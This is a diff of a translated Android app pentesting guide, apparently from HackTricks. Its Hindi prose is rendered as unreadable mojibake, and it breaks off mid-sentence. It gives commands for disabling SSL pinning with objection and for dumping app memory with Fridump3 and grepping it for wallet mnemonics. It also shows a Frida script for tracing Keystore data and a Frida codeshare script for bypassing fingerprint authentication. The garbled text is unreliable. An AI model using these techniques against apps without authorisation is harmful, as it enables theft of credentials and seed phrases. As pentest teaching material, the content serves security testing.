рдмрдбрд╝рд╛ рдлрд╛рдпрджрд╛ рдпрд╣ рд╣реИ рдХрд┐ SSL Pinning bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП root рдХреА рдЬрд░реВрд░рдд рдирд╣реАрдВ рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдбрд┐рд▓реАрдЯ рдХрд░рдХреЗ рдирдпрд╛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдпрд╣ рд╣рдореЗрд╢рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред +- рдЖрдк **Frida** (рдиреАрдЪреЗ рдмрддрд╛рдпрд╛ рдЧрдпрд╛) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕ рдкреНрд░реЛрдЯреЗрдХреНрд╢рди рдХреЛ bypass рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред Burp+Frida+Genymotion рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЧрд╛рдЗрдб рдпрд╣рд╛рдБ рд╣реИ: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- рдЖрдк [**objection**](frida-tutorial/objection-tutorial.md) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SSL Pinning рдХреЛ рдСрдЯреЛрдореИрдЯрд┐рдХрд▓реА bypass рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- рдЖрдк MobSF dynamic analysis (рдиреАрдЪреЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SSL Pinning рдХреЛ рдСрдЯреЛрдореИрдЯрд┐рдХрд▓реА bypass рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +- рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЕрднреА рднреА рдХреБрдЫ рдЯреНрд░реИрдлрд┐рдХ рдХреИрдкреНрдЪрд░ рдирд╣реАрдВ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк iptables рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреНрд░реИрдлрд┐рдХ рдХреЛ Burp рдкрд░ forward рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдкрдврд╝реЗрдВ: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Looking for Common Web Vulnerabilities -рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЙрдирдХрд╛ рдирд┐рд╡рд╛рд░рдг рдХрд░рдиреЗ рдХреЗ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдЗрд╕ рд╕рд╛рд░рд╛рдВрд╢ рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдпрддреНрд░ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдХрд╡рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдРрдк рдХреЗ рдЕрдВрджрд░ рд╕рд╛рдорд╛рдиреНрдп web vulnerabilities рдХреА рдЦреЛрдЬ рдХрд░рдирд╛ рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЗрди vulnerabilities рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдирд┐рд╡рд╛рд░рдг рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рд╕рд╛рд░рд╛рдВрд╢ рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рд╣реИ рд▓реЗрдХрд┐рди рдХрд╣реАрдВ рдФрд░ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдХрд╡рд░ рдХреА рдЧрдИ рд╣реИред ### Frida -[Frida](https://www.frida.re) developers, reverse-engineers, рдФрд░ security researchers рдХреЗ рд▓рд┐рдП рдПрдХ dynamic instrumentation toolkit рд╣реИ.\ -**рдЖрдк running application рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд░рди-рдЯрд╛рдЗрдо рдкрд░ methods рдХреЛ hook рдХрд░рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, values рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, values extract рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЕрд▓рдЧ code рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ...**\ -рдЕрдЧрд░ рдЖрдк Android applications рдХреЛ pentest рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ Frida рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрдирд╛ рдЪрд╛рд╣рд┐рдПред +[Frida](https://www.frida.re) developers, reverse-engineers, рдФрд░ security researchers рдХреЗ рд▓рд┐рдП рдПрдХ dynamic instrumentation toolkit рд╣реИред\ +**рдЖрдк running application рддрдХ рдкрд╣реБрдБрдЪрдХрд░ run time рдкрд░ methods рдХреЛ hook рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ behaviour рдмрджрд▓реЗрдВ, values рдмрджрд▓реЗрдВ/рдирд┐рдХрд╛рд▓реЗ, рдЕрд▓рдЧ code рдЪрд▓рд╛рдПрдБ...**\ +рдпрджрд┐ рдЖрдк Android applications рдХрд╛ pentest рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ Frida рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрдирд╛ рдЪрд╛рд╣рд┐рдПред -- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Frida рд╕реАрдЦрдиреЗ рдХреЗ рд▓рд┐рдП: [**Frida tutorial**](frida-tutorial/index.html) - Frida рдХреЗ рд╕рд╛рде actions рдХреЗ рд▓рд┐рдП рдХреБрдЫ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection Frida рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ automate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЪреНрдЫрд╛ рд╣реИ: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- рдХреБрдЫ Awesome Frida scripts рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- anti-debugging / anti-frida mechanisms рдХреЛ bypass рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, Frida рдХреЛ рд╡реИрд╕рд╛ рд▓реЛрдб рдХрд░рдХреЗ рдЬреИрд╕рд╛ рдпрд╣рд╛рдБ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) +- рдХреБрдЫ Awesome Frida scripts рдпрд╣рд╛рдБ рдорд┐рд▓реЗрдВрдЧреА: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- anti-debugging / anti-frida mechanisms рдХреЛ bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Frida рдХреЛ рдЗрд╕ рддрд░рд╣ load рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдЬреИрд╕рд╛ рдХрд┐ [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -524,9 +523,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Dump Memory - Fridump** -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╕реНрдЯреЛрд░ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЙрд╕реЗ рд╕реНрдЯреЛрд░ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ passwords рдпрд╛ mnemonicsред +рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ application рдореЗрдореЛрд░реА рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд░рдЦ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдЙрд╕реЗ рдирд╣реАрдВ рд░рдЦрдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ passwords рдпрд╛ mnemonicsред -Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: +Fridump3 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдЖрдк рдРрдк рдХреА рдореЗрдореЛрд░реА dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash # With PID python3 fridump3.py -u @@ -535,78 +534,76 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -рдпрд╣ ./dump рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ memory dump рдХрд░реЗрдЧрд╛, рдФрд░ рд╡рд╣рд╛рдВ рдЖрдк рдХреБрдЫ рдЗрд╕ рддрд░рд╣ grep рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрд╣ рдореЗрдореЛрд░реА ./dump рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ dump рдХрд░ рджреЗрдЧрд╛, рдФрд░ рд╡рд╣рд╛рдБ рдЖрдк рдХреБрдЫ рдЗрд╕ рддрд░рд╣ grep рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛** -Android рдореЗрдВ Keystore рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕реНрдерд╛рди рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдкрд░реНрдпрд╛рдкреНрдд privileges рд╣реЛрдиреЗ рдкрд░ рдЗрд╕рдореЗрдВ рдЕрднреА рднреА **рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдВрднрд╡ рд╣реИ**ред +Android рдореЗрдВ Keystore рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕реНрдерд╛рди рд╣реИ, рд▓реЗрдХрд┐рди рдкрд░реНрдпрд╛рдкреНрдд privileges рд╣реЛрдиреЗ рдкрд░ рдЗрд╕реЗ рдЕрднреА рднреА **access рдХрд░рдирд╛ рд╕рдВрднрд╡** рд╣реИред рдЪреВрдБрдХрд┐ applications рдпрд╣рд╛рдБ рдЕрдХреНрд╕рд░ **sensitive data in clear text** рд╕реНрдЯреЛрд░ рдХрд░рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП pentests рдХреЛ рдЗрд╕реЗ root user рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╛ рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ рдлрд┐рдЬрд┐рдХрд▓ рдкрд╣реБрдБрдЪ рд╣реЛрдиреЗ рдкрд░ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВред -рдХрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣рд╛рдБ **рд╕реНрдкрд╖реНрдЯ рдЯреЗрдХреНрд╕реНрдЯ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛** рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреА рдкреНрд░рд╡реГрддреНрддрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП pentests рдХреЛ рдЗрд╕реЗ рдЪреЗрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ root user рдпрд╛ рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ physical access рд╣реЛрдиреЗ рдкрд░ рд╡реЗ рдпрд╣ рдбреЗрдЯрд╛ рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВред +рднрд▓реЗ рд╣реА рдХреЛрдИ app рдбреЗрдЯрд╛ рдХреЛ keystore рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░реЗ, рд╡рд╣ рдбреЗрдЯрд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред -рднрд▓реЗ рд╣реА рдХреЛрдИ app keystore рдореЗрдВ рдбреЗрдЯрд╛ рд╕реНрдЯреЛрд░ рдХрд░реЗ, рдбреЗрдЯрд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред - -keystore рдХреЗ рдЕрдВрджрд░ рдХреЗ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдпрд╣ Frida script рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Keystore рдХреЗ рдЕрдВрджрд░ рдореМрдЬреВрдж рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕ Frida script рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрднрд╡рддрдГ Android рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ **bypass fingerprint authentication** рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ **рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреА рд░рдХреНрд╖рд╛** рдХреЗ рд▓рд┐рдП рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд Frida script рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Android applications рдореЗрдВ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣рд┐рд╕реНрд╕реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рдХрд┐рдП рдЧрдП authentication рдХреЛ **bypass fingerprint authentication** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **рдкреГрд╖реНрдарднреВрдорд┐ рдЫрд╡рд┐рдпрд╛рдБ** -рдЬрдм рдЖрдк рдХрд┐рд╕реА application рдХреЛ background рдореЗрдВ рдбрд╛рд▓рддреЗ рд╣реИрдВ, Android рдПрдХ **snapshot of the application** рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрдм рдЗрд╕реЗ foreground рдореЗрдВ рд▓реМрдЯрд╛рдпрд╛ рдЬрд╛рдП рддреЛ рдпрд╣ app рдХреЗ рдмрдЬрд╛рдп рдкрд╣рд▓реЗ image рд▓реЛрдб рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджреЗ рдФрд░ рдРрд╕рд╛ рд▓рдЧреЗ рдХрд┐ рдРрдк рддреЗрдЬрд╝реА рд╕реЗ рд▓реЛрдб рд╣реБрдЖред +рдЬрдм рдЖрдк рдХрд┐рд╕реА рдРрдк рдХреЛ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рд░рдЦрддреЗ рд╣реИрдВ, Android рдЙрд╕ рдРрдк рдХрд╛ **snapshot of the application** рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрдм рд╡рд╣ рдлрд╝реЛрд░рдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рд╡рд╛рдкрд╕ рд▓рд╛рдпрд╛ рдЬрд╛рдП рддреЛ рдпрд╣ рдРрдк рд╕реЗ рдкрд╣рд▓реЗ рдЗрдореЗрдЬ рд▓реЛрдб рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджреЗ рдФрд░ рдРрд╕рд╛ рд▓рдЧреЗ рдХрд┐ рдРрдк рддреЗрдЬрд╝реА рд╕реЗ рд▓реЛрдб рд╣реБрдЖред -рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдпрд╣ **snapshot** рдореЗрдВ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рд╣реЛрддреА рд╣реИ, рддреЛ snapshot рддрдХ рдкрд╣реБрдБрдЪ рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдЙрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЪреБрд░рд╛ рд╕рдХрддрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ root рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ)ред +рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдЗрд╕ snapshot рдореЗрдВ **sensitive information** рдореМрдЬреВрдж рд╣реИ, рддреЛ snapshot рддрдХ рдкрд╣реБрдБрдЪ рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рд╡реНрдпрдХреНрддрд┐ **steal that info** рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП root рдЪрд╛рд╣рд┐рдП)ред -Snapshots рдЖрдорддреМрд░ рдкрд░ рдпрд╣рд╛рдБ рд╕реНрдЯреЛрд░ рд╣реЛрддреЗ рд╣реИрдВ: **`/data/system_ce/0/snapshots`** +Snapshots рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдпрд╣рд╛рдБ рд╕реНрдЯреЛрд░ рд╣реЛрддреЗ рд╣реИрдВ: **`/data/system_ce/0/snapshots`** -Android рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдХрд┐ **FLAG_SECURE** layout parameter рд╕реЗрдЯ рдХрд░рдХреЗ screenshot capture рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕ flag рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдкрд░, window рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ secure рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ screenshots рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рдпрд╛ рдЧреИрд░тАСрд╕реБрд░рдХреНрд╖рд┐рдд displays рдкрд░ рджрд┐рдЦрдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИред +Android рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдХреИрдкреНрдЪрд░ рдХреЛ рд░реЛрдХрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: **рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдХреИрдкреНрдЪрд░ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП FLAG_SECURE рд╕реЗрдЯ рдХрд░рдирд╛**ред рдЗрд╕ рдлреНрд▓реИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдВрдбреЛ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддреА рдФрд░ рдЧреИрд░тАСрд╕реБрд░рдХреНрд╖рд┐рдд рдбрд┐рд╕реНрдкреНрд▓реЗ рдкрд░ рдирд╣реАрдВ рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреАред ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -рдпрд╣ рдЯреВрд▓ рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди рд╡рд┐рднрд┐рдиреНрди tools рдХреЛ рдореИрдиреЗрдЬ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +рдпрд╣ рдЯреВрд▓ рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Developers рдЕрдХреНрд╕рд░ activities, services, рдФрд░ broadcast receivers рдЬреИрд╕реЗ proxy components рдмрдирд╛рддреЗ рд╣реИрдВ рдЬреЛ рдЗрди Intents рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ `startActivity(...)` рдпрд╛ `sendBroadcast(...)` рдЬреИрд╕реА methods рдХреЛ рдкрд╛рд╕ рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ рдЬреЛрдЦрд┐рдордкреВрд░реНрдг рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЕрдХреНрд╕рд░ activities, services, рдФрд░ broadcast receivers рдЬреИрд╕реЗ proxy components рдмрдирд╛рддреЗ рд╣реИрдВ рдЬреЛ рдЗрди Intents рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ `startActivity(...)` рдпрд╛ `sendBroadcast(...)` рдЬреИрд╕реА рдореЗрдердбреНрд╕ рдХреЛ рдкрд╛рд╕ рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ рдЬреЛрдЦрд┐рдо рднрд░рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдЦрддрд░рд╛ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм attackers рдЗрди Intents рдХреЛ misdirect рдХрд░рдХреЗ non-exported app components рдХреЛ trigger рдХрд░ рдкрд╛рддреЗ рд╣реИрдВ рдпрд╛ sensitive content providers рддрдХ рдкрд╣реБрдБрдЪ рдмрдирд╛ рд▓реЗрддреЗ рд╣реИрдВред рдПрдХ рдкреНрд░рдореБрдЦ рдЙрджрд╛рд╣рд░рдг `WebView` component рд╣реИ рдЬреЛ URLs рдХреЛ `Intent.parseUri(...)` рдХреЗ рдЬрд╝рд░рд┐рдпреЗ `Intent` objects рдореЗрдВ рдмрджрд▓рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ execute рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ malicious Intent injections рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +рдЦрддрд░рд╛ рдЗрд╕ рдмрд╛рдд рдореЗрдВ рд╣реИ рдХрд┐ attackers рдХреЛ рдЗрди Intents рдХреЛ рдЧрд▓рдд рджрд┐рд╢рд╛ рджреЗрдХрд░ non-exported app components рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдпрд╛ sensitive content providers рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг рд╣реИ `WebView` component рджреНрд╡рд╛рд░рд╛ URLs рдХреЛ `Intent` objects рдореЗрдВ `Intent.parseUri(...)` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреНрд╡рд░реНрдЯ рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ execute рдХрд░рдирд╛, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ malicious Intent injections рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред -### Essential Takeaways +### рдЖрд╡рд╢реНрдпрдХ рдирд┐рд╖реНрдХрд░реНрд╖ - **Intent Injection** web рдХреЗ Open Redirect issue рдЬреИрд╕рд╛ рд╣реИред -- Exploits рдореЗрдВ `Intent` objects рдХреЛ extras рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ 